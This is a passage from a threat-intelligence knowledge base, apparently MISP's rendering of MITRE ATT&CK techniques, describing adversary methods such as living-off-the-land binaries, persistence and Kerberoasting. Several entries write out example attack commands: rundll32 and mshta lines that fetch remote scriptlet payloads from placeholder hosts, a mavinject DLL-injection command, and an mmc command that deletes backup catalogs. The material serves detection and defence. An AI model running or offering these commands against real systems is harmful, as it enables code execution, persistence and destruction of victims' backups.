Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server. (Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers. (Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)

The tag is: `misp-galaxy:mitre-attack-pattern="Serverless - T1584.007"`

### Table 5921. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1584/007">https://attack.mitre.org/techniques/T1584/007</a></td>
</tr>
<tr>
<td><a href="https://blog.xpnsec.com/aws-lambda-redirector/">https://blog.xpnsec.com/aws-lambda-redirector/</a></td>
</tr>
</tbody>
</table>

## Exploits - T1588.005

Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors. (Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)

In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals. (Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries). (Citation: TempertonDarkHotel)

An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.

Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004).
The tag is: `misp-galaxy:mitre-attack-pattern="Exploits - T1588.005"`

**Table 5922. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1588/005">https://attack.mitre.org/techniques/T1588/005</a></td>
</tr>
<tr>
<td><a href="https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/">https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/</a></td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/">https://www.exploit-db.com/</a></td>
</tr>
<tr>
<td><a href="https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage">https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage</a></td>
</tr>
</tbody>
</table>

Vulnerabilities - T1588.006

Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)

An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).

The tag is: `misp-galaxy:mitre-attack-pattern="Vulnerabilities - T1588.006"`

**Table 5923. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1588/006">https://attack.mitre.org/techniques/T1588/006</a></td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/">https://nvd.nist.gov/</a></td>
</tr>
</tbody>
</table>

Rundll32 - T1218.011

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `<code>rundll32.exe {DLLname, DLLfunction}</code>`).
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\mshtml,RunHTMLApplication";document.write();GetObject("script:https://www.example.com/malicious.sct")</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones. (Citation: Attackify Rundll32.exe Obscurity), (Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>.

Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload. (Citation: rundll32.exe defense evasion)

The tag is: <code>misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"</code>

### Table 5924. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/011">https://attack.mitre.org/techniques/T1218/011</a></td>
</tr>
<tr>
<td><a href="https://github.com/gtworek/PSBits/tree/master/NoRunDll">https://github.com/gtworek/PSBits/tree/master/NoRunDll</a></td>
</tr>
<tr>
<td><a href="https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/">https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/</a></td>
</tr>
<tr>
<td><a href="https://www.attackify.com/blog/rundll32_execution_order/">https://www.attackify.com/blog/rundll32_execution_order/</a></td>
</tr>
<tr>
<td><a href="https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/">https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/</a></td>
</tr>
</tbody>
</table>

**Verclsid - T1218.012**

Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell. (Citation: WinOSBite verclsid.exe)

Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by...
running `<code>verclsid.exe /S /C {CLSID}</code>`, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub)

The tag is: `misp-galaxy:mitre-attack-pattern="Verclsid - T1218.012"`

**Table 5925. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/012">https://attack.mitre.org/techniques/T1218/012</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5">https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Verclsid/">https://lolbas-project.github.io/lolbas/Binaries/Verclsid/</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/verclsid-exe-threat-detection/">https://redcanary.com/blog/verclsid-exe-threat-detection/</a></td>
</tr>
<tr>
<td><a href="https://www.winosbite.com/verclsid-exe/">https://www.winosbite.com/verclsid-exe/</a></td>
</tr>
</tbody>
</table>

**Mavinject - T1218.013**

Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)

Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. `<code>C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>`).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.

In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its `<code>/HMODULE</code>` command-line parameter (ex. `<code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>`). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)

The tag is: `misp-galaxy:mitre-attack-pattern="Mavinject - T1218.013"`

**Table 5926. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
MMC - T1218.014

Adversaries may abuse `mmc.exe` to proxy execution of malicious `.msc` files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt. (Citation: `win_mmc`) (Citation: `what_is_mmc`) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created `.msc` files to manage system configuration. (Citation: `win_msc_files_overview`)

For example, `<code>mmc C:\Users\foo\admintools.msc /a</code>` will open a custom, saved console `.msc` file in author mode. (Citation: `win_mmc`) Another common example is `<code>mmc gedit.msc</code>`, which will open the Group Policy Editor application window.

Adversaries may use MMC commands to perform malicious tasks. For example, `<code>mmc wbadmin.msc delete catalog -quiet</code>` deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: `<code>wbadmin.msc</code>` may only be present by default on Windows Server operating systems). (Citation: `win_wbadmin_delete_catalog`) (Citation: `phobos_virustotal`)

Adversaries may also abuse MMC to execute malicious `.msc` files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object. (Citation: `win_clsid_key`) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey. (Citation: `mmc_vulns`) Once the `.msc` file is saved, adversaries may invoke the malicious CLSID payload with the following command: `<code>mmc.exe -Embedding C:\path\to\test.msc</code>`. (Citation: `abusing_com_reg`)

The tag is: `misp-galaxy:mitre-attack-pattern="MMC - T1218.014"`

Table 5927. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/014">https://attack.mitre.org/techniques/T1218/014</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc</a></td>
</tr>
</tbody>
</table>
COR_PROFILER - T1574.012

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR. (Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable. (Citation: Microsoft COR_PROFILER Feb 2013)

Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes. (Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012"*

Table 5928. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1574/012">https://attack.mitre.org/techniques/T1574/012</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)">https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)</a></td>
</tr>
<tr>
<td><a href="https://github.com/OmerYa/Invisi-Shell">https://github.com/OmerYa/Invisi-Shell</a></td>
</tr>
<tr>
<td><a href="https://offsec.almond.consulting/UAC-bypass-dotnet.html">https://offsec.almond.consulting/UAC-bypass-dotnet.html</a></td>
</tr>
</tbody>
</table>
Adversaries may abuse the `<code>KernelCallbackTable</code>` of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The `<code>KernelCallbackTable</code>` can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once `<code>user32.dll</code>` is loaded.(Citation: Windows Process Injection KernelCallbackTable)

An adversary may hijack the execution flow of a process using the `<code>KernelCallbackTable</code>` by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.

A pointer to the memory address of the `<code>KernelCallbackTable</code>` can be obtained by locating the PEB (ex: via a call to the `<code>NtQueryInformationProcess()</code>` [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the `<code>KernelCallbackTable</code>` can be duplicated, and a function in the table (e.g., `<code>fnCOPYDATA</code>`) set to the address of a malicious payload (ex: via `<code>WriteProcessMemory()</code>`). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)

The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the `<code>KernelCallbackTable</code>` may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the `<code>KernelCallbackTable</code>` to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.

The tag is: `misp-galaxy:mitre-attack-pattern="KernelCallbackTable - T1574.013"`

*Table 5929. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1574/013">https://attack.mitre.org/techniques/T1574/013</a></td>
</tr>
<tr>
<td><a href="https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/">https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/</a></td>
</tr>
</tbody>
</table>
Emond - T1546.014

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at `<code>/sbin/emond</code>` will load any rules from the `<code>/etc/mond.d/rules/</code>` directory and take action once an explicitly defined event takes place.

The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `<code>/private/var/db/emondClients</code>`, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at `<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>`.

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system startup or user authentication. Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.

The tag is: `misp-galaxy:mitre-attack-pattern="Emond - T1546.014"`

Table 5930. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.magnusviri.com/Mac/what-is-emon.html">http://www.magnusviri.com/Mac/what-is-emon.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/014">https://attack.mitre.org/techniques/T1546/014</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/blog/how-malware-persists-on-macos/">https://www.sentinelone.com/blog/how-malware-persists-on-macos/</a></td>
</tr>
<tr>
<td><a href="https://www.xorrior.com/emond-persistence/">https://www.xorrior.com/emond-persistence/</a></td>
</tr>
</tbody>
</table>

Rc.common - T1163

During the boot process, macOS executes `<code>source /etc/rc.common</code>`, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).
The tag is: misp-galaxy:mitre-attack-pattern="Rc.common - T1163"

**View relationships graph**

Rc.common - T1163 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"

**Table 5931. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1163">https://attack.mitre.org/techniques/T1163</a></td>
</tr>
<tr>
<td><a href="https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html">https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html</a></td>
</tr>
</tbody>
</table>

---

**Regsvcs/Regasm - T1121**

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: `<code>[ComRegisterFunction]</code>` or `<code>[ComUnregisterFunction]</code>` respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

The tag is: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121"

**View relationships graph**

Regsvcs/Regasm - T1121 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009" with estimative-language:likelihood-probability="almost-certain"

**Table 5932. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1121">https://attack.mitre.org/techniques/T1121</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regasm/">https://lolbas-project.github.io/lolbas/Binaries/Regasm/</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/">https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/</a></td>
</tr>
</tbody>
</table>
Proxy - T1090

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.

The tag is: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"`

Table 5933. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1090">https://attack.mitre.org/techniques/T1090</a></td>
</tr>
</tbody>
</table>

Rootkit - T1014

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits)

Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)

The tag is: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"`

Table 5934. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Mshta - T1170

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension `<code>.hta</code>`. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Files may be executed by mshta.exe through an inline script: `<code>mshta vbscript:Close(Execute("GetObject("'script:https://webserver/payload[.]sct")"))</code>`

They may also be executed directly from URLs: `<code>mshta http[://webserver/payload[.]hta</code>`

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

The tag is: `misp-galaxy:mitre-attack-pattern="Mshta - T1170"

View relationships graph

Mshta - T1170 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Mshta - T1218.005"` with estimative-language:likelihood-probability="almost-certain"

Table 5935. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1170">https://attack.mitre.org/techniques/T1170</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/HTML_Application">https://en.wikipedia.org/wiki/HTML_Application</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Mshta/">https://lolbas-project.github.io/lolbas/Binaries/Mshta/</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/ms536471.aspx">https://msdn.microsoft.com/library/ms536471.aspx</a></td>
</tr>
</tbody>
</table>
Screensaver - T1180

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:

- <code>SCRNSAVE.exe</code> - set to malicious PE path
- <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
- <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
- <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Screensaver - T1180"

View relationships graph

Screensaver - T1180 has relationships with:


Table 5936. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1180">https://attack.mitre.org/techniques/T1180</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Screensaver">https://en.wikipedia.org/wiki/Screensaver</a></td>
</tr>
</tbody>
</table>

Rundll32 - T1085

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that
may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `<code>Control_RunDLL</code>` and `<code>Control_RunDLLAsUser</code>`. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `<code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ;document.write();GetObject("script:https://www.[.]example[.]com/malicious.sct")"
</code>` This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

The tag is: `misp-galaxy:mitre-attack-pattern="Rundll32 - T1085"`

View relationships graph

Rundll32 - T1085 has relationships with:


Table 5937. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1085">https://attack.mitre.org/techniques/T1085</a></td>
</tr>
<tr>
<td><a href="https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/">https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/</a></td>
</tr>
</tbody>
</table>

**Hypervisor - T1062**

This technique has been deprecated and should no longer be used.

A type-1 hypervisor is a software layer that sits between the guest operating systems and system’s hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.

The tag is: `misp-galaxy:mitre-attack-pattern="Hypervisor - T1062"`

Table 5938. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Kerberoasting - T1208**

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)

The tag is: `misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208"`

**View relationships graph**

Kerberoasting - T1208 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003"` with estimative-language:likelihood-probability="almost-certain"

**Table 5939. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=2293">https://adsecurity.org/?p=2293</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1208">https://attack.mitre.org/techniques/T1208</a></td>
</tr>
<tr>
<td><a href="https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/InvokeKerberoad.ps1">https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/InvokeKerberoad.ps1</a></td>
</tr>
</tbody>
</table>
Masquerading - T1036

